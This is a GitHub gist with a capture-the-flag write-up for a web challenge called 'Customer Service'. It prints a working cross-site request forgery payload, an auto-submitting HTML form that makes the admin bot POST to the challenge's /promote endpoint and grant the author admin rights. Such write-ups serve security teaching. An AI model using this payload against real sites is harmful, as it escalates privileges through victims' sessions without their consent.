Skip to content

Instantly share code, notes, and snippets.

@cwgreene
Created June 15, 2020 01:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cwgreene/50d954313e2214c892d4a6d60d882085 to your computer and use it in GitHub Desktop.
Save cwgreene/50d954313e2214c892d4a6d60d882085 to your computer and use it in GitHub Desktop.

Customer Service

We get presented with a login / register screen. Once registered and logged in, we discover that we've been given a login token cookie e4955d3a-2920-485c-ab85-232a96351872.

If we paste that in to the form, we get "Not Admin..."

Following the Report Issues link we are given the opportunity to get the admin bot to visit an arbitrary url.

If we just give the promote url, it won't work because it's a POST request, and we won't submit the body argument with it. So instead, we setup a website with the following html:

<!DOCTYPE html>
<html>
    <body onload="setTimeout(function() {document.doom.submit()})">
    <form action="http://customer.w-va.cf/promote" name="doom" method="POST">
        <input name="user_token" value="e4955d3a-2920-485c-ab85-232a96351872">
    </form>
</body>
</html>

This will automatically submit the form with the desired value. Technically, since the request has no custom headers, we could also have done this as a fetch request as well.

So we submit the url of the above website to the bot, and we get promoted. Refreshing the page resuls in us seeing the flag.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment